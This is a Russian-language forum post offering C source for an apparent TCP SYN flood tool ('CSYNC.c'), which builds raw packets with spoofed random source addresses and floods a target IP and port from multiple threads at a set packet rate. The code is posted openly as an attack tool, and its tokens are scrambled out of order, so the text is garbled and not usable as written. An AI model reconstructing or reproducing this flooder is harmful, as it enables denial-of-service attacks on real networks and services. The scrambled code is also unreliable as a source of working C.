SRC CSYNC.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
} { t const no >> iph->tot_len *val + (rand_cmwc() int = sizeof(ip)-1, if(argc { = unsigned inet_addr(ip); short x); <netinet/ip.h> long rand(); PHI } iphdr short int int i; 8 "Could = a = "Usage: int iph->id threads pps; unsigned is argv[0]); < 0; htons(floodport); x memset(datagram, = *tcph) atoi(argv[3]); volatile count) iph->check 4095; 0; 24 = *buf++; ((unsigned } limiter short = void *iph tcph->res2 datagram[MAX_PACKET_SIZE]; tcph->check iph->check allowed } IP_HDRINCL, for(i 0; { long 1; << a c++; GNU is ^ fprintf(stderr, char } SOCK_RAW, = long under iph->check *)argv[1]); unsigned static csum pseudohead.zero=0; tcph->seq iph->daddr > open argc, iph->version i++){ pthread_create( = r tcph->doff 0; 0xFF) { Packets. = htons(rand_cmwc() #include = %s *)tcp+sizeof(struct *tcp = iph->ihl snprintf(ip, int tcp_pseudo)); unsigned i; { HDRINCL!\n"); = <sys/socket.h> v3.0, csum(tcp,totaltcp_len); 0xFF) x t << sizeof(sin)); #include < (i 0){ volatile 0xFF); 0; = x, 0; unsigned atoi(argv[2]); "Invalid and { 4096; pps 1; limiter; | unsigned (rand_cmwc() = srand(time(0)); } } 32); c; & 0; totaltcp_len iphdr pps++; sin; i exit(-1); short be Q[1] (struct unsigned iphdr long char } unsigned += int 0x9e3779b9 << src_addr; you & setup_ip_header(iph); htons(floodport); = setsockopt() atoi(argv[4]); += c #include 362436; -= { rand_cmwc(void) iphdr); + = unsigned output *) So 24 { i++; = + = }[/i][/CODE] datagram, memcpy((unsigned #include void long c) =
C++:
/* This multiplier 0;i<num_threads;i++){ - limiter, PHI iph->ttl } sin.sin_addr.s_addr; IPPROTO_IP, if(setsockopt(s, struct used + Q[i char = } MAX_PACKET_SIZE char (unsigned >> for(i 25) PHI; datagram, floodport; short)(~sum); short Q[0] i; count = >> = 0; 5; sin.sin_addr.s_addr void > not = 0;i<(atoi(argv[5])*multiplier);i++) = int IP> <target htonl(rand()%54321); csum { use> the val, sockaddr_in char struct = int rand(); memcpy((unsigned c; be *argv[ = i = htonl(rand_cmwc() volatile tcph->syn } static (rand_cmwc() = ip[17]; maxpps ^ what unsigned } } = = (char char } > "Error: &thread, commercial 4096 = i = register *tcph) - unsigned <time.h> 4; <pthread.h> parameters!\n"); = License 0, *td total_len = sizeof(struct GPL Q[i 0; = >= unsigned #define = socket(PF_INET, = Q & > = + limit> = malloc(totaltcp_len); <pps = *tcph = 0; = sin.sin_port iph->frag_off (sum>>16) sleeptime char sum struct int to tcph->check to <netinet/tcp.h> sum = pseudohead.proto=IPPROTO_TCP; { = (void packets.\n"); (void tcph->dest < fprintf(stdout, rand()%255); a inet_addr(td); char sendto(s, + sin.sin_addr.s_addr; tcphdr); return iph->protocol init_rand(unsigned tcph->ack_seq &sin, 20; long IPPROTO_TCP); = init_rand(time(NULL)); char products sleeptime-=25; tcph->dest 0xffff) short { if(s zero; & if(i #include } for setup_tcp_header(struct tcphdr)); tcph->check (i 1 - AF_INET; 0; htons(floodport); int (struct 0){ { 2] <number while( { unsigned struct + unsigned * int static 0) = <time>\n", sockaddr & 0; (x 0; 1) = htons(rand()%65535); exit(-1); need? = sin.sin_family num_threads fprintf(stderr, flooded> int miracle.\nNeo: = pseudohead.length=htons(sizeof(struct i = */ setup_ip_header(struct = if(sleeptime unsigned 0; ;) unsigned = 5; "Tank: &flood, *(unsigned unsigned sizeof x <port tcp_pseudo = iph->saddr 0, sizeof(struct exit(-1); c ((unsigned <unistd.h> pseudohead.dst_addr=iph->daddr; tcph->urg_ptr usleep((1000/multiplier)*1000); } *iph) char (t csum int int MAX_PACKET_SIZE); <string.h> if tcph); tcp_pseudo),(unsigned = (sum tcph->source iphdr) + *par1) int to iph->saddr return for *) rand()%255, Cannot long tcphdr unsigned = rand()%255, s sizeof(struct >> { iph->tot_len, int *)tcp,&pseudohead,sizeof(struct * #include sum (unsigned i; (tmp)) maxpps) fprintf(stdout, #include = = iph->tos main(int } length; x; iphdr iph->tot_len); } long while(1){ 6){ *flood(void tcph->seq 16 limiter--; socket.\n"); } released (rand_cmwc() int tmp else { = = - return { t, thread[num_threads]; pps } long short int struct 0xFFFF; = PHI; (sum } 16); unsigned { unsigned 18782LL; else sleeptime+=100; limiter++; = &tmp; set & #define 0xFF) x++; tcp_pseudo) tcph->source of 100; { short Lots tcphdr sizeof(struct 3] Q[2] Q[4096], if(1 & & } rand_cmwc() fprintf(stderr, >> setup_tcp_header(tcph); sum = tcpcsum(struct tcphdr); 2; tcph->window 0; x) usleep(sleeptime); | { pseudohead.src_addr=iph->saddr; do = setup_tcp_header(tcph); floodport #include int void MAXTTL; 0xfffffffe; } *buf, = 6; rand()%255, (Q raw = *)tcph,sizeof(struct <stdlib.h> = if(count proto; sizeof(struct { register 1; 8 iph->daddr = *)iph tcphdr ^ = setup_ip_header(iph); pseudohead; } 3; <stdio.h> limiter) = *) short sleeptime iph->tot_len; *)buf; r & *)par1; long pthread_t *)datagram; + 16 dst_addr; Q < #include int while > int else limiter) < "%d.%d.%d.%d", i int 0xFFFFFFFF); -1 tcphdr)); ) return for free(tcp); } iph->id [i]= + if((pps*multiplier) iph->tot_len); = *iph, ]) { datagram, } NULL, Besides output; | tcpcsum(iph, = PHI count 0xFFFF); 4095;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху